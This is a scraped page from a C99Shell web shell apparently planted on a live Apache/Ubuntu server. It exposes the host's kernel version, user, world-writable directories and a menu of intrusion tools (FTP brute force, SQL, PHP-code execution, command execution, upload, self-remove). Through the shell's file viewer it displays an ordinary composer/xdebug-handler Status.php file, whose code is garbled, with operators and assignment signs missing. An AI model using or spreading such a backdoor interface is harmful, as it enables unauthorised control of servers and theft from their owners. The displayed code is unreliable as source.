!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/composer/xdebug-handler/src/   drwxrwxrwx
Free 13.37 GB of 57.97 GB (23.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Status.php (4.03 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of composer/xdebug-handler.
 *
 * (c) Composer <https://github.com/composer>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace Composer\XdebugHandler;

use 
Psr\Log\LoggerInterface;
use 
Psr\Log\LogLevel;

/**
 * @author John Stevenson <john-stevenson@blueyonder.co.uk>
 * @internal
 */
class Status
{
    const 
ENV_RESTART 'XDEBUG_HANDLER_RESTART';
    const 
CHECK 'Check';
    const 
ERROR 'Error';
    const 
INFO 'Info';
    const 
NORESTART 'NoRestart';
    const 
RESTART 'Restart';
    const 
RESTARTING 'Restarting';
    const 
RESTARTED 'Restarted';

    private 
$debug;
    private 
$envAllowXdebug;
    private 
$loaded;
    private 
$logger;
    private 
$time;

    
/**
     * Constructor
     *
     * @param string $envAllowXdebug Prefixed _ALLOW_XDEBUG name
     * @param bool $debug Whether debug output is required
     */
    
public function __construct($envAllowXdebug$debug)
    {
        
$start getenv(self::ENV_RESTART);
        
Process::setEnv(self::ENV_RESTART);
        
$this->time $start round((microtime(true) - $start) * 1000) : 0;

        
$this->envAllowXdebug $envAllowXdebug;
        
$this->debug $debug && defined('STDERR');
    }

    
/**
     * @param LoggerInterface $logger
     */
    
public function setLogger(LoggerInterface $logger)
    {
        
$this->logger $logger;
    }

    
/**
     * Calls a handler method to report a message
     *
     * @param string $op The handler constant
     * @param null|string $data Data required by the handler
     */
    
public function report($op$data)
    {
        if (
$this->logger || $this->debug) {
            
call_user_func(array($this'report'.$op), $data);
        }
    }

    
/**
     * Outputs a status message
     *
     * @param string $text
     * @param string $level
     */
    
private function output($text$level null)
    {
        if (
$this->logger) {
            
$this->logger->log($level ?: LogLevel::DEBUG$text);
        }

        if (
$this->debug) {
            
fwrite(STDERRsprintf('xdebug-handler[%d] %s'getmypid(), $text.PHP_EOL));
        }
    }

    private function 
reportCheck($loaded)
    {
        
$this->loaded $loaded;
        
$this->output('Checking '.$this->envAllowXdebug);
    }

    private function 
reportError($error)
    {
        
$this->output(sprintf('No restart (%s)'$error), LogLevel::WARNING);
    }

    private function 
reportInfo($info)
    {
        
$this->output($info);
    }

    private function 
reportNoRestart()
    {
        
$this->output($this->getLoadedMessage());

        if (
$this->loaded) {
            
$text sprintf('No restart (%s)'$this->getEnvAllow());
            if (!
getenv($this->envAllowXdebug)) {
                
$text .= ' Allowed by application';
            }
            
$this->output($text);
        }
    }

    private function 
reportRestart()
    {
        
$this->output($this->getLoadedMessage());
        
Process::setEnv(self::ENV_RESTART, (string) microtime(true));
    }

    private function 
reportRestarted()
    {
        
$loaded $this->getLoadedMessage();
        
$text sprintf('Restarted (%d ms). %s'$this->time$loaded);
        
$level $this->loaded LogLevel::WARNING null;
        
$this->output($text$level);
    }

    private function 
reportRestarting($command)
    {
        
$text sprintf('Process restarting (%s)'$this->getEnvAllow());
        
$this->output($text);
        
$text 'Running '.$command;
        
$this->output($text);
    }

    
/**
     * Returns the _ALLOW_XDEBUG environment variable as name=value
     *
     * @return string
     */
    
private function getEnvAllow()
    {
        return 
$this->envAllowXdebug.'='.getenv($this->envAllowXdebug);
    }

    
/**
     * Returns the Xdebug status and version
     *
     * @return string
     */
    
private function getLoadedMessage()
    {
        
$loaded $this->loaded sprintf('loaded (%s)'$this->loaded) : 'not loaded';
        return 
'The Xdebug extension is '.$loaded;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--